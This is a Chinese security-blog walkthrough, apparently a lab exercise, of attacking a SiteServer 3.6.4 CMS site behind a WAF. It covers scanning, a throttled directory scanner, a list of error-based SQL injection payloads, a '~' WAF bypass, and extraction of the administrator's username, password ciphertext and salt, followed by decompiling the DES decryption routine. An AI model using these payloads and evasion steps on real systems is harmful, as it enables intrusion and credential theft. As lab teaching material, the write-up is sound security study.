信息收集
这里使用netdiscover工具对相同网段的主机进行扫描
netdiscover -i eth0 -r 192.168.101.0/24
同时也可以使用masscan进行一个简单的快速扫描,要养成一个好习惯:扫描的时候要将线程调低一点,以免触发WAF和防火墙等防御机制
masscan -p 1-65535 192.168.101.224 --rate=100
尝试访问web网站时,从请求包中可以看到是存在WAF的,并且web容器为IIS
当在URL上输入敏感字符时,WAF会显示字符已被拦截
然后使用nmap进行扫描,从扫描结果可以看到,服务器开放了ftp服务,IIS的版本是10.0的,存在一个标题但是httponly并没有开放,操作系统的版本为Windows2016
nmap -A -p 1-65535 -sV 192.168.101.217 -oA result
既然我们发现了三个可疑目录,那么我们可以尝试分别访问这三个目录
SiteServer:访问页面时发现是一个管理员后台登录界面
SiteFiles:这个目录为空
UserCenter:这是一个用户登录页面
当这些基础信息都收集完成后,那就得进行目录扫描了。因为国内的厂商一般都配备了各种安全设备,如果使用御剑,dirsearch这种工具去扫描的话,被禁止IP的可能性很高,一切要从实战进行考虑。当安全狗开启了抗CC这个功能时,高并发扫描就会被安全狗拦截下来。
当开启目录扫描时,扫描出很多的结果。但是当去访问时,网页显示的请求过于频繁,已被禁止访问(一般会被禁止10分钟)
dirsearch -u "http://www.moonlab.com/" -x404,500,503 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
日志都记录了相关的内容信息
遇到这种情形,就要使用python进行编写我们的目录扫描工具了,当然如果读者也会使用别的编程语言也没问题,但是python使用较为简单,所以笔者这里使用的是它。
#coding: utf-8
import requests,time
path = input("Please input the path of your directory: ")
with open(path,'r',encoding='utf-8') as readfile:
for dirs in readfile.readlines():
url = "http://www.moonlab.com/"+dirs.strip('\n')
#print(url)
resp = requests.get(url)
strlen = len(resp.text)
print(url+'----------'+str(resp.status_code)+'---len----'+str(strlen))
time.sleep(0.5)
if resp.status_code == 200 or resp.status_code == 301 or resp.status_code == 500 or resp.status_code == 403:
if strlen == 0 or strlen == 2939:
continue
else:
with open('result.txt','a') as result:
result.write(url+'----------'+str(resp.status_code)+'---len----'+str(strlen)+'\n')
将目录扫描完毕后,那么就要对已知的网页进行漏洞利用了
Web漏洞利用
刚刚看到SiteServer管理员页面时,发现系统版本: 3.6.4,.NET 版本: 2.0,那么上搜索引擎上发现它是存在一个SQL注入的
找到了一个w9scan的扫描器,里面包含了siteserver的利用脚本,经过反复查阅发现2739.py这个python脚本是包含了sql注入利用的
将python里面的代码修改一下,方便查阅那个payload是可以正常使用的
#!/usr/bin/evn python
#-*-:coding:utf-8 -*-
#Author:404
#Name:siteserver最新版3.6.4 sql inject漏洞大礼包of 1
#Refer:http://www.wooyun.org/corps/%E7%99%BE%E5%AE%B9%E5%8D%83%E5%9F%9F%E8%BD%AF%E4%BB%B6%E6%8A%80%E6%9C%AF%E5%BC%80%E5%8F%91%E6%9C%89%E9%99%90%E8%B4%A3%E4%BB%BB%E5%85%AC%E5%8F%B8/page/2
import requests
ps=[
'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
]
for p in ps:
url='http://www.moonlab.com/'+p
html = requests.get(url)
if html.status_code==500 and "GAOJIMicrosoft" in html.text:
print(url)
print(html.text)
结果显示这个payload可以正常使用http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--
,这是一个报错注入的payload
访问这条语句时,它显示了数据库对应的版本信息
但是当修改URL语句想要得到数据库名时,就被WAF给拦截掉了
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20char%2871%29+char%2865%29+char%2879%29+char%2874%29+char%2873%29+db_name=2;%20--
绕过WAF防护设备
显然这样直接输入SQL注入语句是会被拦截的,但是可以采用~
这个符号对WAF防火墙进行绕过,这是下面的具体payload语句,查看的是数据库对应的用户名
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+user=~2;%20--
那知道数据库名后,就去尝试能否注入相应的表出来。方法的话也是挺复杂的,必须本地使用数据库搭建一个siteserver,然后查看里面的查询语句,我这边已经搭建完成了,bairong_Administrator
表的查询语句如下。从中得到了具体都有哪些字段名
SELECT TOP 1000 [UserName]
,[Password]
,[PasswordFormat]
,[PasswordSalt]
,[CreationDate]
,[LastActivityDate]
,[LastModuleID]
,[CountOfLogin]
,[CreatorUserName]
,[IsChecked]
,[IsLockedOut]
,[PublishmentSystemID]
,[DepartmentID]
,[AreaID]
,[DisplayName]
,[Question]
,[Answer]
,[Email]
,[Mobile]
,[Theme]
,[Language]
FROM [msmoonlab].[msmoonlab].[bairong_Administrator]
尝试构造SQL注入利用语句,构造之前要在前面加个括号,表示是使用子查询的方式,但是还是被拦截了
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+%28select%20top%201%20username%20from%20bairong_Administrator%29=~2;%20--
在数据库查询时是可以正常进行的,尝试对数据库名做一下更改,还是不行
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+%28select%20top%201%20username%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29=~2;%20--
最后我们将~2
这个值放到前面去,可以显示对应的用户名称为admin
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+~2=%28select%20top%201%20username%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29;%20--
接着可以注入对应的密码值,得到它的密文64Cic1ERUP9n2OzxuKl9Tw==
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+~2=%28select%20top%201%20password%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29;%20--
因为只得到密文,但是不知道加密方式的话,那对解密来说工作量是相当大的,所以也要对加密类型进行注入。注入得到的是Encrypted
对称加密
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+~2=%28select%20top%201%20PasswordFormat%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29;%20--
拿到加密方式后,进一步猜测它是base64(Encrypted('明文值',salt))
这种方式进行加密的,那么可以把盐值注入出来,得到盐值LIywB/zHFDTuEA1LU53Opg==
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+~2=%28select%20top%201%20PasswordSalt%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29;%20--
反编译dll和解密密文
得到密码后,但是并不清楚具体的加密方式(上面的只是猜测的),可以尝试去登录页面看看个究竟,发现是个login.aspx
页面,去login.aspx文件上看看具体指向那些内容,它第一行指向的是BaiRong.BackgroundPages
文件的FrameworkLogin
这个方法
在bin目录下找到了这个文件,可以使用dnSpy
这个工具对其反编译,找到对应的FrameworkLogin
这个模块,但是并没有找到想要的信息
当在搜索框中搜索Encrypted
字符时,看到了想要的信息,可以定位到那里
定位到这个方法里,右键点击分析,然后点击被使用,可以看到被调用的方法。并且找到了DesDecrypt方法
public void DesDecrypt()
{
byte[] rgbIV = new byte[]
{
18,
52,
86,
120,
144,
171,
205,
239
};
byte[] array = new byte[this.x3c811436980dcf17.Length];
try
{
byte[] bytes = Encoding.UTF8.GetBytes(this.x6d0b493f217f133b.Substring(0, 8));
DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
array = Convert.FromBase64String(this.x3c811436980dcf17);
MemoryStream memoryStream = new MemoryStream();
if (!false)
{
}
CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
Encoding encoding = new UTF8Encoding();
this.xc7d800b8a71773fd = encoding.GetString(memoryStream.ToArray());
}
catch (Exception ex)
{
this.x456956327593d9f6 = ex.Message;
}
}
未完待续……
本文作者:scriptkiddle, 转载请注明来自FreeBuf.COM
cesfe 22天前0
好的,谢谢昶之琴 24天前0
这个安装地址失效了,我在网上找了一个:https://xiazai.zol.com.cn/detail/35/344340.shtml 如果还是不行的话就需要您自己去网上找找了cesfe 25天前0
帆软部署 ,访问的地址访问不到昶之琴 2年前0
我以为只要提交就行了好想告诉你 2年前0
花巨资看一下